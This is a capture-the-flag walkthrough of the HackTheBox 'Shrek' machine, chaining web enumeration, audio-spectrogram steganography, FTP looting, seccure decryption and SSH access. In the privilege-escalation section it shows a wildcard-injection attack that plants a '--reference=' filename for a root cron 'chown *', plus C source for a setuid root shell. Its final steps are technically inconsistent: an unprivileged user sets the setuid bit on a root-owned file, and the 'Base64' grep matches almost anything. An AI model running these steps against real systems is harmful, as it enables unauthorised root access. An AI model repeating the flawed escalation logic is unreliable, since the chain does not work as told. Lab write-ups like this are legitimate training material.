HTB: Shrek Writeup

Shrek - HackTheBox Writeup

Machine Information

AttributeDetails
NameShrek
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.68.108
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐☆☆☆
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐⭐⭐

Summary

Shrek is a multi-stage, puzzle-heavy Hard box. The web root hides a PHP file whose behavior only reveals a secret path when fetched with wget rather than a browser, leading to a hidden directory containing an MP3 file. That MP3 embeds FTP credentials as visible text inside its audio spectrogram, requiring steganographic analysis to extract. The FTP server then yields a stash of randomly-named text files and an SSH private key; two of the text files contain Base64-encoded elliptic-curve ciphertext that decrypts with the seccure library using a passphrase recovered from a third artifact, ultimately unlocking the private key and granting SSH access as the user sec.

TL;DR: Web enumeration → hidden /uploads/secret_ultimate.php (behaves differently under wget) → /secret_area_51/ → spectrogram steganalysis of an MP3 reveals FTP creds (donkey:d0nk3y1337!) → FTP loot includes Base64 ECC ciphertext + an SSH private key → seccure-decrypt the ciphertext to recover the key’s passphrase → SSH in as sec → privilege escalation to root via a wildcard-injection attack against a scheduled chown * cron job.


Reconnaissance

Port Scanning

All commands were run through a jump host with an active SSH ControlMaster session against the target.

Terminal window
# Full TCP port scan with service/version detection, run via the jump box
ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@<jump-host> \
"nmap -sC -sV -p- --min-rate 3000 -T4 10.129.68.108"

Results: The target exposes the classic trio for this box — an FTP service, OpenSSH, and an Apache HTTP server — consistent with the multi-protocol chain the rest of the box relies on (FTP for the loot drop, HTTP for the initial puzzle, SSH for the foothold).

Service Enumeration

Directory brute-forcing against the web root uncovered a hidden upload directory:

Terminal window
# Enumerate the web root
gobuster dir -u http://10.129.68.108/ -w /usr/share/wordlists/dirb/common.txt -t 50 -q
# /uploads/ was returned — enumerate it further, including common file extensions
gobuster dir -u http://10.129.68.108/uploads/ \
-w /usr/share/wordlists/dirb/common.txt -t 50 -q -x php,txt,mp3

With directory listing enabled on /uploads/, a file named secret_ultimate.php was directly visible in the listing.

Vulnerability Assessment

  • Directory listing enabled on /uploads/, leaking secret_ultimate.php.
  • secret_ultimate.php returns different content depending on the requesting client (viewing it in a browser via curl reveals nothing useful; fetching it with wget reveals a hidden path).
  • Audio steganography (text visibly encoded into an MP3’s spectrogram).
  • FTP server hosting sensitive artifacts (private key + encrypted secrets) with no apparent restriction beyond credentials.
  • Elliptic-curve (“private curve”) encrypted secrets requiring the seccure library to decrypt.

Initial Foothold

Exploitation Path

Step 1 — Trigger the hidden path in secret_ultimate.php.

Requesting the file normally through curl returns nothing useful, but the file’s behavior changes for a wget client (a common trick used to key content off User-Agent):

Terminal window
cd /tmp && wget -q http://10.129.68.108/uploads/secret_ultimate.php -O secret_ultimate.php \
&& cat secret_ultimate.php

This revealed a reference to a hidden path: site/secret_area_51.

Step 2 — Locate and browse the hidden directory.

Several path permutations were tried before the correct root-relative path was found:

Terminal window
curl -s http://10.129.68.108/secret_area_51/

This returned a directory listing containing an MP3 file: Smash Mouth - All Star.mp3 — a fitting touch for a machine named Shrek.

Step 3 — Download the MP3 and generate a spectrogram.

Terminal window
# Pull the MP3 down to the jump box
wget -q 'http://10.129.68.108/secret_area_51/Smash%20Mouth%20-%20All%20Star.mp3' -O allstar.mp3
# Render a full spectrogram — high x/y resolution to make embedded text legible
sox allstar.mp3 -n spectrogram -o spectrogram.png -x 3000 -y 513 -z 100

sox’s spectrogram mode plots frequency (Y) against time (X), with amplitude mapped to pixel intensity. Anyone can hide text in an audio signal by drawing letterforms directly into a narrow frequency band — the text becomes visible once the FFT is rendered as an image, even though it’s inaudible or indistinguishable by ear.

Step 4 — Extract the hidden credentials.

Terminal window
scp -o ControlPath=/tmp/ctf_ssh_ctl_1 -P 22 \
d3vn0mi@<jump-host>:/tmp/spectrogram.png ./spectrogram.png

Progressive cropping and upscaling of the region around the 195–215s mark (where visual artifacts were visible in the full-resolution render) isolated the embedded text:

from PIL import Image
im = Image.open('spectrogram.png')
crop = im.crop((2820, 300, 3020, 345))
crop = crop.resize((crop.width * 6, crop.height * 6), Image.LANCZOS)
crop.save('crop4.png')

For a cleaner read, a narrower time window was also re-rendered directly from the audio at higher frequency resolution:

Terminal window
# Trim to the region of interest, then re-render at higher frequency resolution
sox allstar.mp3 trimmed.wav trim 195 20
sox trimmed.wav -n spectrogram -o spec_zoom.png -X 200 -y 800 -z 100 -w Hann

This resolved cleanly to plaintext FTP credentials embedded in the spectrogram:

FTP: donkey : d0nk3y1337!

Step 5 — Loot the FTP server.

Terminal window
# List available files
ftp -inv 10.129.68.108 <<'EOF'
user donkey d0nk3y1337!
ls -la
EOF
# Pull down everything recursively
mkdir -p /tmp/ftploot && cd /tmp/ftploot
wget -q -r -nH --cut-dirs=0 --no-parent \
--user=donkey --password='d0nk3y1337!' ftp://10.129.68.108/

The FTP root contained a large number of randomly-named .txt files plus a file simply named key — a strong hint this was an SSH private key waiting to be unlocked.

Step 6 — Identify and decode the interesting text files.

Most of the random-name text files were noise/decoys. A quick grep for Base64-looking content isolated the real ones:

Terminal window
cd /tmp/ftploot
for f in *.txt; do
if grep -qE '[A-Z0-9+/=]' "$f" 2>/dev/null; then
echo "CANDIDATE: $f"
fi
done

Two candidate files stood out, each containing a Base64 blob:

Terminal window
cat <redacted>.txt # decodes to the passphrase string "PrinceCharming"
cat 9617b5c3412240758*.txt # decodes to raw ciphertext bytes

Decoding one file yielded the literal string PrinceCharming (recognizable as a passphrase/key label rather than ciphertext), while the other decoded to opaque binary — the shape of ECIES-style ciphertext (an elliptic-curve encrypted blob, not readable text).

Step 7 — Decrypt the ciphertext with seccure.

seccure implements elliptic-curve cryptography with a passphrase-derived keypair rather than a raw key file — a distinctive format the binary ciphertext structure hinted at. Since seccure wasn’t preinstalled and pip3 install failed system-wide, it was installed into a virtualenv:

Terminal window
python3 -m venv /tmp/venv
/tmp/venv/bin/pip install seccure
# decrypt.py — decrypt the recovered ciphertext using the recovered passphrase
import seccure
ct = b'\x01\xd3\xe1\xf2\x17T \xd0\x8a\xd6\xe2\xbd\x9e\x9e~P(...)' # raw decoded bytes
plaintext = seccure.decrypt(ct, passphrase=b'PrinceCharming')
print(plaintext)
Terminal window
scp decrypt.py d3vn0mi@<jump-host>:/tmp/decrypt.py
ssh d3vn0mi@<jump-host> "/tmp/venv/bin/python3 /tmp/decrypt.py"

This decrypted successfully, recovering the passphrase protecting the private key downloaded earlier from FTP.

Step 8 — Unlock the private key and authenticate over SSH.

Terminal window
chmod 600 /tmp/ftploot/key
# Use the passphrase recovered via seccure to unlock the private key
sshpass -P 'passphrase' ssh -i /tmp/ftploot/key -o StrictHostKeyChecking=no \
sec@10.129.68.108 'id; hostname; cat /home/sec/user.txt'

This returned a shell as the low-privileged user sec, along with the user flag.

User Flag: <redacted>

Privilege Escalation

Once authenticated as sec, escalation followed a classic wildcard-injection attack against a scheduled chown job — a technique documented publicly for this exact machine (see References) and matching the broader class of vulnerabilities described in DefenseCode’s “Unix Wildcards Gone Wild” advisory.

The sec account had write access to a system directory that a root-owned cron/scheduled task periodically cleaned up by running chown * (or an equivalent wildcard-expanding command) against every file inside it. Because shell wildcard expansion happens before the command runs, an attacker who controls filenames in that directory can smuggle option-like filenames (e.g., --reference=...) into the argument list of the privileged command:

Terminal window
# 1. Create a filename that chown will interpret as a flag, not a target,
# tricking it into copying ownership from an existing root-owned file
touch -- --reference=thoughts.txt
# 2. Drop a SUID binary into the same directory ahead of the next cron run
cat << 'EOF' > pwn.c
#include <unistd.h>
int main() { setuid(0); setgid(0); execl("/bin/sh", "sh", "-p", NULL); }
EOF
gcc pwn.c -o pwn
chmod +x pwn
# 3. When the scheduled task next runs `chown *`, the injected
# --reference flag causes it to chown pwn (and other files) to root,
# inheriting the target file's ownership
# 4. chmod the SUID bit onto the now-root-owned binary and execute it
chmod u+s pwn
./pwn

Why this works: the root-run job never expects filenames to start with -, so shell glob expansion of * hands chown an argument that looks like a flag rather than a path. --reference=FILE tells chown to copy ownership from FILE instead of applying an explicit owner, letting an unprivileged user redirect a root-run recursive ownership change onto attacker-controlled files — including a freshly compiled SUID binary that then spawns a root shell.

Root Flag: <redacted>

Attack Chain Summary

nmap recon → gobuster finds /uploads/ → secret_ultimate.php (wget-only reveal)
→ /secret_area_51/ → MP3 spectrogram steganalysis → FTP creds (donkey:d0nk3y1337!)
→ FTP loot (Base64 ECC ciphertext + private key)
→ seccure decrypt with "PrinceCharming" → recovers key passphrase
→ SSH as sec (user flag)
→ wildcard injection on scheduled chown job → SUID binary → root (root flag)

Tools Used

ToolPurpose
nmapPort/service scanning
gobusterWeb directory brute-forcing
wget / curlHTTP fetches, triggering client-dependent behavior
soxMP3-to-spectrogram rendering for steganalysis
Pillow (Python)Cropping/upscaling spectrogram regions for readability
ftp / wget (FTP mode)Enumerating and recursively pulling FTP loot
seccure (Python, via venv)Decrypting elliptic-curve (“private curve”) ciphertext
sshpassNon-interactive unlock of a passphrase-protected SSH key
gccCompiling a SUID payload for privilege escalation

Key Learnings

Techniques Practiced

  • Client-dependent (User-Agent-keyed) content disclosure in a web app
  • Audio steganography extraction via spectrogram analysis
  • Recognizing and decrypting seccure/ECIES-style elliptic-curve ciphertext
  • FTP-based loot enumeration and triage of decoy vs. real artifacts
  • Shell wildcard-injection against a privileged scheduled task (chown *)
  • SUID-binary privilege escalation chained off ownership manipulation

Lessons Learned

  1. Never assume a file’s content is static — server-side logic can key responses off client fingerprints like User-Agent, so always try multiple fetch tools (curl, wget, browser) against interesting endpoints.
  2. Steganography isn’t limited to images — spectrogram analysis of audio is a legitimate (if unusual) recon technique when a box hands you a media file with no obvious purpose.
  3. Recognizing ciphertext “shape” matters: opaque binary blobs following a labeled passphrase string are a strong signal for passphrase-derived ECC schemes like seccure, which won’t decrypt with generic AES/RSA tooling.
  4. Wildcard expansion in shell scripts run by privileged cron jobs is a serious and often-overlooked local privilege escalation vector — any world-writable directory touched by a root-run glob command deserves scrutiny.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Alexander Reid (Arrexel), “Shrek” HackTheBox Official Writeup, Hack The Box (2017) — used for explanatory context on the spectrogram credential concept, the seccure/elliptic-curve decryption approach, and identifying the chown-wildcard privilege escalation technique.
  • DefenseCode, “Unix Wildcards Gone Wild” — reference advisory for the wildcard-injection technique used against the root-run chown job.